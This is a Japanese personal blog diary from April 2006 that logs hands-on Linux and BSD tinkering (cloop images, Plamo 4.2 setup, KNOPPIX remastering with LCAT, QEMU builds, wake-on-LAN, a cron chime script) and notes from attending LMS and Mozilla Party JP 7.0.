-rw-r--r-- 1 $USER $GROUP  104857600 Apr 18 10:21 100MB.img
-rw-r--r-- 1 $USER $GROUP   66790758 Apr 18 10:32 100CL.img

# sh 100CL.img temp しても /lib/modules/miscの下にあるcloop.ko は見えず、マウントできなかった。
何で設定するのか調べるのが邪魔くさくなり、 /lib/modules/$KERN_VER/kernel/drivers/blockの下に移し、depmod -av。
で、最前のコマンドでうまくマウントできた(中の$SOME_FILESを見るためには さらに-o loop でマウントする必要があったが)。
ここで一旦保存するか。

ISO以外ダメ?

# create_compressed_fs 100MB.img 65536 > 100B.img
Opening input: Success
# echo $?
1

当初ファイルサイズかと思ったが、そうじゃない。元々 ISO9660じゃないと受け付けないだけの話、、、だろう。
x86 boot sectorもできたが。

少し ドキュメントをあさってみたが、 ISO9660しかできないようだった。

あと必ず

# modprobe -r cloop しておかないと、次がマウントできない。
前と同じファイルばかりがマウントされてしまう。

cloopを展開しても

元通りにはならないっぽい。
というか、中身は同じだけど、ファイルサイズからして以前とは別物だったり。

$ create_compressed_fs mona.iso > mona.cloop.img
$ extract_compressed_fs mona.cloop.img > mona2.iso
$ ls -l
total 9804
-rw-r--r--  1 $USER  $GROUP   1561923 Apr 18 11:54 mona.cloop.img
-rw-r--r--  1 $USER  $GROUP   4194304 Jan  4 11:02 mona.iso
-rw-r--r--  1 $USER  $GROUP   4259840 Apr 18 11:55 mona2.iso
 
$ file *
mona.cloop.img: a /bin/sh script text executable
mona.iso:       ISO 9660 CD-ROM filesystem data
mona2.iso:      ISO 9660 CD-ROM filesystem data

それからいろいろ

cloopをまた試す。圧縮を掛けてはマウントし、スワップを作っては再試行。

仕様上の問題かはわからないが、一度に一つしかマウントに成功しない。
また、cdplamo(1.35-lilo)やFreedos(2005-09-07)は、なぜかファイルサイズが殆ど変らない。 CDから吸い出した えびふりゃあ(六號之丑)は随分小さくなったが。

$ ls -l ebi.img ebi.cloop.img 
-rw-r--r--  1 $USER $GROUP  230266459 Apr 18 21:35 ebi.cloop.img
-rw-r--r--  1 $USER $GROUP  662044672 Jul  7  2005 ebi.img

飯も喰わずに

デスクトップにPlamo4.2を入れる。既存環境は ほとんど設定らしいものはないので、/etcと ~/.ssh 、それからMBR だけをバックアップ、リストア。

$ ssh $Plamo4.2
Enter passphrase for key '/PATH/USER/.ssh/id_dsa': 
(ry
Linux 2.6.15.7-plamoUP (Plamo-4.2) #5 PREEMPT Wed \
 Mar 29 23:53:54 JST 2006
Plamo4.2$ uname -a
Linux $Plamo4.2 2.6.15.7-plamoUP #5 PREEMPT Wed \
 Mar 29 23:53:54 JST 2006 i686 unknown unknown GNU/Linux

2006-04-19(Wed) いいのかなぁ

4.2カスタマイズ

昨晩のデスクトップ。
なにげにシリアル接続を有効にしていたので、sshdが立っている鯖(kermitを放り込む) を経由してルータの外から簡単にログインできた。

まずはscreen。あれぇ、スーパーユーザでmake installできないぞ?

Plamo-4.2:~/src/utl/screen-4.0.2$ su
root's password:
Plamo-4.2:# make install
./etc/mkinstalldirs /usr/local/bin `sed < config.h \
-n -e '/define SCREENENCODINGS/s/^.*"\([^"]*\)"/\1/p'`
/bin/sh: ./etc/mkinstalldirs: 許可がありません
make: *** [installdirs] エラー 126

tarボール展開でなく、別ホストにインストールしたソースの流用が災いしたようだ。
chmod 755 mkinstalldirs で再度make installしておしまい。

アドビリーダー

Winの最新版を探す。
ftpサイトには古いの(5.05)しかない。WinからWebページに取りに行くと ネットワークインストーラしか落とせない...coLinuxのw3m で、ようやく 本体をゲット。
Javascript必須じゃなくてよかった (そうなったらVNC経由でFirefoxか)。

LCAT

適当なページを見ながら、 KNOPPIXの高速化改造ツールをPlamo4.2に入れてみた。

./configureがコケる。 なんかカーネルソースがいるらしい。
インストーラが入れたソースは一部しか見当たらない。
最新版(2.6.16.7)を/usr/src/linux の下に置いただけでは うまくゆかず、リモートからいきなり新規カーネルの構築とリブート を試す気力も出なかったので、 動作中のカーネルと同じバージョン(2.6.15.7)のソースを貰ってきて解凍し、 .configを /procの下にあった config.gz を開いて取った。 んで、make && make modules_install。
ようやくlcatもmake install完了。


2006-04-20(Thu) ひゃっぽうやぶれかぶれ

FreeBSD-SA-06:14.fpu

IntelのCPUだけでBSD動かしている自分には関係なさげ。

Sargeにも

LCAT をいれるため、必須であるkernel2.6を導入。
バイナリも考えたが、結局kernel-source-2.6.8を apt-get。meke menuconfigしてmake-kpkg --revision="文字と数字" kernel-image。
そして dpkg -i kenel-image-hogehoge.deb

しかし、ちゃんとbuildできたはずなのにカーネルパニック なんて久々だ。

モニタをつないで、起動中の悲鳴を見つめなおす。/dev/hda1 が見えないの?
/boot/grub/menu.lstを見て、2.4が initrdを指定しているのに、こちらはカーネルだけ。 デバイスドライバの設定を見直し、<M>を いくつか<*>に変える。

$ dpkg -l では 長すぎるパッケージ名が切り詰められるので 注意。$COLUMNSで設定するらしい。
試行錯誤してさっき入れた2.6をアンインストール。

再びdpkg -i。同じ失敗もう一度。


2006-04-21(Fri) ○○○に行きたい。○らしそうだ

ボタンなしの

Appleの光学マウスは、ひっくり返して 放って置いても、カーソルがぐらぐら 揺れていることに気づいた。

ブロードバンドルータ

でDNS引く(というより、ブロードバンドルータに 引かせる)のはやめたほうがいいらしい。

$ dig @$BROADBAND domain query-type

を適当にやってみたが、query-typeに 何を指定しても、Aレコードしか返らない。
また、ANSWERの大部分は削がれているらしく、 mixi.jp のAレコードはひとつだけ。 (外のDNSサーバに聞くと、9つのIPが回答あり)

ちなみに自宅の糞ルータは一応返すものは返す。 が、駄目なルータは駄目。


2006-04-22(Sat) ない×○ふりしぼって

起きろ!

wake on lan をノートに入れてみた。

まずはMacOSXで試す。MACアドレスを記録して、スリープタイムをうんと 短く設定する。 MacOSXが眠るのをしばらく待ってから、wakeonlan $MAC_ADDR。 でMacが目覚めるのを確認。
残念ながら、MacOSXはシャットダウンするとネットからは起こせない模様。

P4SDXなデスクトップでも試す。LANをオンボードの蟹に繋ぎ換え、 BIOS起動メニューをいじり、電源OFF。しかし、しかし...まだ不成功。

ついでにFreeBSD5.3のftp鯖にもwakeonlanを入れておいた。

なんとなく X11Forwarding yes

してみた。接続自体はあっけなく完了。

しかし、リモートのxeyesとかはいいが、 kterm だとcannaserverに接続できず、 SHIFt+SPACEで落ちた。gimp1.2も 2.3もすぐコケた。

また適当に。

4.2ゴニョゴニョ

firefox1.5.0.2。 Plamo4.2のデスクトップに入れる。デフォルト がみかちゃん。も面白いが、結局IPAに変える。

う〜む。w3m-0.5.1はmigemo非対応か...結局は自前で入れ直さねば。

KNOPPIXやらcoLinuxやらで、だんだんDebianに侵されてきたのかも。


2006-04-23(Sun) 続け、続け

Plamo4.2続き

anthy and scim on Plamo4.2

w3mを入れ直す。./configure に--prefix=/usr --with-migemo=`which migemo`しただけ。

~/src/w3m-0.5.1:$ w3m -V
w3m version w3m/0.5.1, options lang=en,m17n,image,\
color,ansi-color,mouse,gpm,menu,cookie,ssl,\
ssl-verify,external-uri-loader,w3mmailer,nntp,ipv6,\
alarm,mark
 
~/src/w3m-0.5.1:$ ./w3m -V
w3m version w3m/0.5.1, options lang=en,m17n,image,\
color,ansi-color,mouse,gpm,menu,cookie,ssl,\
ssl-verify,external-uri-loader,w3mmailer,nntp,ipv6,\
alarm,mark,migemo 

で、make install する前に removepkg w3m しておく。
これでw3mに日本語インクリメンタルサーチが効くようになり、 ちょっと落ち着いた。

続いてanthyとscim。
anthy-7622.tar.gz、scim-1.4.4.tar.gz、scim-anthy-1.0.0.tar.gz の順にmake install。そして一昨日買った FreeBSDExpert2006から設定を拝借。

# SCIM
XMODIFIERS="@im=SCIM"
GTK_IM_MODULE=scim
export XMODIFIERS GTK_IM_MODULE
echo '*inputMethod: SCIM' | xrdb -merge
scim &

で、canna+kinput2にさようなら。

AdobeのFTPサイトから、50MB程のAdobeReader_jpn-7.0.5-1.i386.tar.gz を取って入れた。バージョン表示は7.0.5 11/06/2005となっている。
日本語フォントも入っているようなので、前バージョンの日本語フォントは とりあえずは入れないでおいた。

あ、Adobe/Acrobat7.0/Reader/intellinux/plug_ins/PPKLite.api は 相変わらずだ。リネームして置いとく。

ImageMagick-6.2.7 も何も考えず make install。した後は ldconfig を忘れずに。
で、適当に画像をいじり回したが、特に貼りたくなるようなもの はなし。

~/.steprcを少し。firefoxやAdobeReaderのアイコンをちょっちょ。

GIMP

を放置していたA46HMに入れることを思い付く。で、/usr/pkgsrc/graph/gimp24 に移動して make install。色々入ってなかったらしく、依存するものの インストールを延々と続けていた。いつになったら終ることやら。
ふとdfすると、/usr のCapacityが100%に達し、Availが-31444とかになってきて いた。それでも止まる気配なし。一体どうなってるのか(/homeや/varは、まだがらあきだが)。


2006-04-24(Mon) とんほん

時鐘?

ようやくシェルスクリプトで書いた。音はPlamoの Afterstepについてきたclick.auを、 ports/audio/playで鳴らす。

#!/bin/sh
PATH=/bin:/usr/bin:/usr/local/bin
TIME=`date "+%H"`
 
# 24時制じゃない方法がわからん
if [ $TIME -gt 12 ]; then
   TIME=`expr $TIME - 12`;
fi
 
# 0時は12時
if [ $TIME -eq 0 ]; then
   TIME=12;
fi
 
while [ $TIME -gt 0 ]; 
  do play ~/clink.au && sleep 1
     TIME=$(expr $TIME - 1)
done

で、crontab.txtに書いてcrontabに読ませる。

0 * * * * sh ~/bin/ring.sh

がいまいち時計の鐘らしくないが、また適当な時に。
あと、毎時30分に1回鳴らす処理も加えたいが、 それも次回。

cronで動くまで数回書き直す。PATHの指定と 音ファイルの位置指定と。

遂に満腹

GIMPを入れるべく、 必要なものをせっせと インストールし 続けていた NetBSD がパンクした。
ここまで、一体どうやって我慢していたんだろうか。

/usr: write failed, file system is full
 
/usr: write failed, file system is full
 
/usr: write failed, file system is full
(ry
$ df
/dev/wd0e      5953852   5953852   -297692   105%    /usr

また思い付いて

しばらく放置していたデスクトップのFreeBSD-5.4をcvsup し、ついでに フルビルドしてしまった。make buildworldを始めてからmake installworldが 終るまで2時間弱だった。

Bittorrentのために

Plamo4.2にもPython-2.4.3を入れた。

LCAT

に基づくKNOPPIX4.0.2のリマスタリングを試す。
Plamo4.2を土台にしたが、やれることはDebianでも KNOPPIXでも変わらない。はずだ。

PDFマニュアルを見ながら、あーでもないこーでもない。 miniroot.gz の中にあるcloop.ko を高速化対応版と すげかえ、linuxrc を書き換え...るのが面倒なので Acceraletedに入ってたもので代用し、LCATツールキット にあったcloopreadaheadをminiroot.gzに入れる。 大きすぎて入らない。別途ループバックイメージを つくり、全部コピー。してmkisofs。
なんか妙なISOファイルもどきがパッとできた。 リモートでやれそうなのはここまで。 さてどうなるか。

Freesbie2

昨晩なんとなく気になっていた。 本家で 配布しているCDは ぜんぜん変ってないらしいが、 FreshPortsを覗いて FreeBSDのLiveCD作成ツール が一新されている事に気付く。俄然興味が再燃して 帰宅後にデスクトップに入れてみた。
以前どうだったかは、 メモに一応残していたのに すっかり忘れてしまっている。
さしあたり、動く何かができれば万々歳ということにしよう。

興味はあっても気力が湧かぬ。
メニューをろくすっぽ見ずにEnterぼんぼん叩きまくった報いで、 QEMUで起動しても、ブートストラップローダに "Unable to load a kernel!"と怒鳴られただけ。に終った。


2006-04-25(Tue) ねむねむ

LiveCDのWindows

BartPE起動

BartPEなるものがある。ぐぐると、 少し古びているようだが、 詳しい記事もみつかった。
どうもいまいちそそられないなぁ。

と思いつつ、最小限と思われる構成で250MB程のISOイメージを作成し、 QEMUで起動させてみた。日本語化け化け。あとはまた。

5.3はもう古い?

FreeBSD-5.3の鯖にもFreesbieを入れようとしたが、

# cd /usr/ports/sysutils/freesbie/
# make install
===>  freesbie-2.0.20060202 earlier FreeBSD versions \
then 5.4-RELEASE are not supported.
*** Error code 1
 
Stop in /usr/ports/sysutils/freesbie.

s/then/than/だろう。
さて、いつageるか...

最近開いたファイル

をリモートデスクトップ越しにgimp-2.2 for win でファイル(F)から開こうとすると 落ちた。何回やっても同じ。

考えなしに

SDLを入れ、QEMUを入れようとした。ついでに KQEMUも取ってきて、ドキュメントの通りに qemuのソースツリーに混ぜ、./configure && make する。
がしかし。

(ry
/usr/lib/gcc/i586-pc-linux/3.4.3/../../../../i586-\
pc-linux/bin/ld: errno: TLS definition in /lib/lib\
c.so.6 section .tbss mismatches non-TLS reference \
in libqemu.a(helper2.o)
/lib/libc.so.6: could not read symbols: 不正な値です
collect2: ld はステータス 1 で終了しました
make[1]: *** [qemu-i386] エラー 1
make[1]: Leaving directory `/home/makoto/src/qemu/\
qemu-0.8.0/i386-user'
make: *** [all] エラー 1

orz。
適当にあっちこっち見ているうちに、 i386 のエミュレータが臭く見えた(helper2.oは386-userディレクトリ 配下にある)。 ./configure --help すると、 --target-list なるもの が出てきた。

$ ./configure --help
  --target-list=LIST       set target list \
 [i386-user arm-user armeb-user sparc-user \
  ppc-user mips-user mipsel-user i386-softmmu \
  ppc-softmmu sparc-softmmu x86_64-softmmu \
  mips-softmmu arm-softmmu]
(ry

targetから、i386-user を 外すと、(しばらくかかったが)難なくmake install完了。
それ以外のどれを外しても(compile時間は短縮されたが) ↑のエラーは変らなかった。

それからchmod 666 /dev/kqemu とか。
--target-listに載っていたi386-softmmuとかが 効いているのか否か、 ともかくKNOPPIXは起動できた。しかし、しかし、、しかし、、、 遅い!
「速く」なるかは分からないにしても、なんとかi386-userを有効にしたいものだ。


2006-04-26(Wed) いまでも

ネットワークプリンタ

安直な設定ツールは却ってトラブルの元としか思えない。
再設定が困難だったり、ファイアウォールに通信をブロックされたり。 既設のプリンタのアイコンでウィンドウが埋め尽くされたり。 甚だしくは、IPとMACアドレス(!)が複数当たってしまったりすることさえも。


2006-04-27(Thu) とことこ

いきなりSONY

4年か5年前にPS2Linuxで買った、ほったらかしのPlayStation2に 襲いかかり、 40GBのHDDをゲット。

HDDユニットの継目に貼ってある保証のシールを剥いて捨てる。4つ足の ゴムをひっぺがして中のビスを外す。

ジャンクにつけて、CDPLAMOでブート。
dmesgによれば、SONYのロゴのあるベアドライブは、

demo@cdplamo[~]% dmesg|grep hda
    ide0: BM-DMA at 0x1840-0x1847, BIOS settings:\
  hda:DMA, hdb:pio
hda: IBM-DTLA-305040, ATA DISK drive
hda: attached ide-disk driver.
hda: host protected area => 1
hda: setmax LBA 80418240, native  78125000
hda: 78125000 sectors (40000 MB) w/380KiB Cache, \
 CHS=4863/255/63, UDMA(100)
 hda: unknown partition table

だった。
ちなみに、今挿しているマウスは、

demo@cdplamo[~]% dmesg | grep -i sony
input1: Sony Computer Entertainment Inc. SCE USB \
 MOUSE on usb2:2.0

である。これもPS2から奪ったものだ。

忘れる前にatd

$ echo "mail -s Remember! user@example.com" | \
  at $(date --date "5 minutes") 

と思ったら、月だか曜日だかが邪魔して失敗。 続きは後で。

Macの自動起動、終了

を設定する。「システム環境設定」の「ハードウェア」に ある「省エネルギー」の「スケジュール」にて起動、終了 時刻を設定する。でも、それだけでは駄目。
マシンがスリープしている間はシャットダウンが 機能しなくなるからだ。
ので、「オプション」にて「Ethernetネットワーク 管理者のアクセスによってスリープを解除」させることとする。
シャットダウンは、設定時刻の10分後なので、せっかく目を醒ましたMacが また居眠りしないよう、スリープに至る時間は少し長めにする。

それから、wakeonlanを実行して終了時刻の5分前にMacを叩き起こすよう、 鯖のcronを設定した。


2006-04-28(Fri) 多段のssh

リモートから

昨夜のMacを叩き起こし、w3mで書き込んでみる。

しかし↓のvimとputtyの組み合わせによるでマルチバイト文字の処理はいまいち。

:version
VIM - Vi IMproved 6.2 (2003 Jun 1, compiled Mar 21 2005 02:12:42)
Compiled by root@b27.apple.com
Normal version without GUI.  Features included (+) or not (-):
-arabic +autocmd -balloon_eval -browse +builtin_terms \
+byte_offset +cindent -clientserver -clipboard \
+cmdline_compl +cmdline_hist +cmdline_info +comments \
+cryptv +cscope +dialog_con +diff +digraphs -dnd \
-ebcdic -emacs_tags +eval +ex_extra +extra_search \
-farsi +file_in_path +find_in_path +folding -footer \
+fork() -gettext -hangul_input +iconv +insert_expand \
+jumplist -keymap -langmap +libcall +linebreak \
+lispindent +listcmds +localmap +menu +mksession \
+modify_fname +mouse -mouseshape -mouse_dec -mouse_gpm \
-mouse_jsbterm -mouse_netterm +mouse_xterm +multi_byte \
+multi_lang -netbeans_intg -osfiletype +path_extra -perl \
+postscript +printer -python +quickfix -rightleft \
-ruby +scrollbind -signs +smartindent -sniff +statusline \
-sun_workshop +syntax +tag_binary +tag_old_static \
-tag_any_white -tcl +terminfo +termresponse +textobjects \
+title -toolbar +user_commands +vertsplit +virtualedit \
+visual +visualextra +viminfo +vreplace +wildignore \
+wildmenu +windows +writebackup -X11 -xfontset -xim \
-xsmp -xterm_clipboard -xterm_save
  system vimrc file: "$VIM/vimrc"
  user vimrc file: "$HOME/.vimrc"
  user exrc file: "$HOME/.exrc"
  fall-back for $VIM: "/usr/share/vim"
Compilation: gcc -c -I. -Iproto -DHAVE_CONFIG_H   \
  -arch i386 -arch ppc -g -Os -pipe -no-cpp-precomp \
  -arch i386 -arch ppc -pipe
Linking: gcc  -arch i386 -arch ppc -o vim  -lncurses \
 -liconv

チャレンジドパスワード認証をnoにする。しかし、 鍵の登録を忘れたため、動いているホストからは 入れなくなってしまった。
帰宅後鍵を登録しておしまい。


2006-04-29(Sat) 春眠夕暮れを覚えず

ASCII配列になじんでいた手が

かなりJISキーボードに冒されて来た。

出来立てのKNOPPIXで

KNOPPIXでAirH

リモートからアクセス成功。 at LMS会場。
"LMS"といっても、ぐぐって最初に出た サイトじゃない。

AirHがなかなかつながらず(アカウントまたは パスワードを間違えていただけ)、 自分の公開鍵が何故かなかなか認証 されなかったが、ともかくsshで この通りログインして、Primeで書けている。

このKNOPPIXは、実は今朝方リマスタリングしたばかりだ。
偶然うまく動いた。

KNOPPIXの設定を保存

ClipDrive(すぐ認識された)に保存してみた。

knoppix@6[knoppix]$ ls /mnt/sda
knoppix@6[knoppix]$ mount /mnt/sda
knoppix@6[knoppix]$ ls -l /mnt/sda
合計 390
-rwxrwxrwx  1 knoppix knoppix 397951 2006-04-29 11:38 configs.tbz
-rwxrwxrwx  1 knoppix knoppix    462 2006-04-29 11:38 knoppix.sh

KNOPPIXの設定を再生

起動時設定に bootfrom=/hoge/cdrom.img の他、 mycounfig=/dev/sda を追記する。pppの設定や公開鍵 は覚えていた。が、apt-get install したw3m は跡形もなかった。

割と濃い内容

だった。あまり濃過ぎてv6の講演の最中に舟を漕いでしまった。
電車の中で書けることはこのくらいだ。

お定まりの懇親会

に参加。
熱い会話のなかで管を巻いて吠えたけっていた。

Postfixが、heloしなくてもmail fromを受け付ける なんて知らなかった。宴会席上で指摘されて、 その場で家のサーバを叩く。ほんとだ。

USBカメラのLinux向けドライバソースの 在処は、"SPCAGUI"でぐぐるとわかる。 自分のサイトしかヒットしないから。

しかし、もう一度試すと、 本物を含めて 山ほど当った

阪急電車の中で

せっかく↑に貼っていた画像のリンクを消してしまった。
高速夜行バスにそなえて月曜の準備が終わってからようやく 気づく。これで復旧したはずだ。


2006-04-30(Sun) 睡眠不足

割高な夜行バス

を降車して、カネのかかる漫画喫茶や、 座席が極端に少ない区立図書館で 時間を潰す。どちらもあまり眠る時間は なかった。

で、肝心のMozilla Party JP 7.0

Mozilla Party7

に重い眠気と軽い頭痛を憶えつつ参加。

組織形態についての説明から始まった。
やはりこれだけ長く続くと、最初から説明する必要が出てくるようだ。
あといくつも講演が続く。

講演者には失礼ながら

睡魔に時折意識を奪われた。
それでも、英語や後半のセッションは興味深いものだった。

GoogleがFirefoxの後押しをしてるとか、画面やディスクを 滅茶滅茶にしてしまうextensionとか、ウィンドウのなかは 言うに及ばず、リンク先までもコピーしてしまう機能 拡張とか。

ついていった懇親会

中座する直前が華だった。
一宴の夢に終るか否かは、これからだ。
レッサーパンダのアイコンのはいったネイビーブルーの Tシャツを着て帰る。

終電を確認していなかったので、 何故急ぐかわからずに急いで東京駅へ。 新幹線に入ってすぐトイレに駆け込み、品川を過ぎた。

名古屋から京都の間にこの文章と写真をUP。pingのtimeは15846.3msなどと 動揺したが、sshの接続性は失われなかった。

time ping -c 100

100 packets transmitted, 80 packets received, 20% packet loss
round-trip min/avg/max = 224.0/2635.7/14618.5 ms
 
real    2m6.348s
user    0m0.000s
sys     0m0.000s

電源が切れた

のでここまで。切れるまで通信したのは初めてに違いない。


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